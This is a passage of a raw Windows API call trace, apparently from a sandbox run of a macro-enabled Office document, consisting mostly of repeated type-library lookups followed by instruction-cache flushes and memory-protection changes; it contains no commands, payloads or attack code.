This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fe7c0, pbstrName=0x0, pwOrdinal=0x1fe7e0 | out: pBstrDllName=0x1fe7c0*=0x0, pbstrName=0x0, pwOrdinal=0x1fe7e0*=0xea50) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fe7c0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fe7c0, pwOrdinal=0x500000000) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x1fea60, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fea60, pbstrName=0x0, pwOrdinal=0x1fea80 | out: pBstrDllName=0x1fea60*=0x0, pbstrName=0x0, pwOrdinal=0x1fea80*=0xecf0) returned 0x0 [0076.211] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fea60, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fea60, pwOrdinal=0x500000000) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1ff190, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff190, pbstrName=0x0, pwOrdinal=0x1ff1b0 | out: pBstrDllName=0x1ff190*=0x0, pbstrName=0x0, pwOrdinal=0x1ff1b0*=0xf420) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1feba0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1feba0, pbstrName=0x0, pwOrdinal=0x1febc0 | out: pBstrDllName=0x1feba0*=0x0, pbstrName=0x0, pwOrdinal=0x1febc0*=0xee30) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feba0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feba0, pwOrdinal=0x500000000) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1feb00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1feb00, pbstrName=0x0, pwOrdinal=0x1feb20 | out: pBstrDllName=0x1feb00*=0x0, pbstrName=0x0, pwOrdinal=0x1feb20*=0xed90) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1ff190, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff190, pbstrName=0x0, pwOrdinal=0x1ff1b0 | out: pBstrDllName=0x1ff190*=0x0, pbstrName=0x0, pwOrdinal=0x1ff1b0*=0xf420) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fe900, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fe900, pbstrName=0x0, pwOrdinal=0x1fe920 | out: pBstrDllName=0x1fe900*=0x0, pbstrName=0x0, pwOrdinal=0x1fe920*=0xeb90) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fe900, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fe900, pwOrdinal=0x500000000) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612747, invkind=1, refPtrFlags=0x1feba0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612747, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1feba0, pbstrName=0x0, pwOrdinal=0x1febc0 | out: pBstrDllName=0x1feba0*=0x0, pbstrName=0x0, pwOrdinal=0x1febc0*=0xee30) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612747, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feba0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feba0, pwOrdinal=0x500000000) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1feb00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1feb00, pbstrName=0x0, pwOrdinal=0x1feb20 | out: pBstrDllName=0x1feb00*=0x0, pbstrName=0x0, pwOrdinal=0x1feb20*=0xed90) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000) returned 0x0 [0076.212] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fea60, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fea60, pbstrName=0x0, pwOrdinal=0x1fea80 | out: pBstrDllName=0x1fea60*=0x0, pbstrName=0x0, pwOrdinal=0x1fea80*=0xecf0) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fea60, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fea60, pwOrdinal=0x500000000) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fe9c0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fe9c0, pbstrName=0x0, pwOrdinal=0x1fe9e0 | out: pBstrDllName=0x1fe9c0*=0x0, pbstrName=0x0, pwOrdinal=0x1fe9e0*=0xec50) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fe9c0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fe9c0, pwOrdinal=0x500000000) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1ff190, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff190, pbstrName=0x0, pwOrdinal=0x1ff1b0 | out: pBstrDllName=0x1ff190*=0x0, pbstrName=0x0, pwOrdinal=0x1ff1b0*=0xf420) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1feba0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1feba0, pbstrName=0x0, pwOrdinal=0x1febc0 | out: pBstrDllName=0x1feba0*=0x0, pbstrName=0x0, pwOrdinal=0x1febc0*=0xee30) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feba0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feba0, pwOrdinal=0x500000000) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fe860, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fe860, pbstrName=0x0, pwOrdinal=0x1fe880 | out: pBstrDllName=0x1fe860*=0x0, pbstrName=0x0, pwOrdinal=0x1fe880*=0xeaf0) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fe860, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fe860, pwOrdinal=0x500000000) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x1feb00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1feb00, pbstrName=0x0, pwOrdinal=0x1feb20 | out: pBstrDllName=0x1feb00*=0x0, pbstrName=0x0, pwOrdinal=0x1feb20*=0xed90) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1feb00, pwOrdinal=0x500000000) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fea60, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fea60, pbstrName=0x0, pwOrdinal=0x1fea80 | out: pBstrDllName=0x1fea60*=0x0, pbstrName=0x0, pwOrdinal=0x1fea80*=0xecf0) returned 0x0 [0076.213] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fea60, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fea60, pwOrdinal=0x500000000) returned 0x0 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fe9c0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fe9c0, pbstrName=0x0, pwOrdinal=0x1fe9e0 | out: pBstrDllName=0x1fe9c0*=0x0, pbstrName=0x0, pwOrdinal=0x1fe9e0*=0xec50) returned 0x0 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fe9c0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fe9c0, pwOrdinal=0x500000000) returned 0x0 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fe5e0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fe5e0, pbstrName=0x0, pwOrdinal=0x1fe600 | out: pBstrDllName=0x1fe5e0*=0x0, pbstrName=0x0, pwOrdinal=0x1fe600*=0xe870) returned 0x0 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fe5e0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fe5e0, pwOrdinal=0x500000000) returned 0x0 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x1fe880, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fe880, pbstrName=0x0, pwOrdinal=0x1fe8a0 | out: pBstrDllName=0x1fe880*=0x0, pbstrName=0x0, pwOrdinal=0x1fe8a0*=0xeb10) returned 0x0 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fe880, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fe880, pwOrdinal=0x500000000) returned 0x0 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fe7e0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fe7e0, pbstrName=0x0, pwOrdinal=0x1fe800 | out: pBstrDllName=0x1fe7e0*=0x0, pbstrName=0x0, pwOrdinal=0x1fe800*=0xea70) returned 0x0 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fe7e0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fe7e0, pwOrdinal=0x500000000) returned 0x0 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fe7e0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fe7e0, pbstrName=0x0, pwOrdinal=0x1fe800 | out: pBstrDllName=0x1fe7e0*=0x0, pbstrName=0x0, pwOrdinal=0x1fe800*=0xea70) returned 0x0 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fe7e0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fe7e0, pwOrdinal=0x500000000) returned 0x0 [0076.214] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1ff190, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.215] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff190, pbstrName=0x0, pwOrdinal=0x1ff1b0 | out: pBstrDllName=0x1ff190*=0x0, pbstrName=0x0, pwOrdinal=0x1ff1b0*=0xf420) returned 0x0 [0076.215] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff190, pwOrdinal=0x500000000) returned 0x0 [0076.215] IMalloc:Free (This=0x7fefe465380, pv=0x666f1d0) [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a38, dwSize=0x2) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a8c, dwSize=0x4d) returned 1 [0076.215] VirtualProtect (in: lpAddress=0x6628a8c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac00, dwSize=0x2) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac54, dwSize=0x45) returned 1 [0076.215] VirtualProtect (in: lpAddress=0x662ac54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] 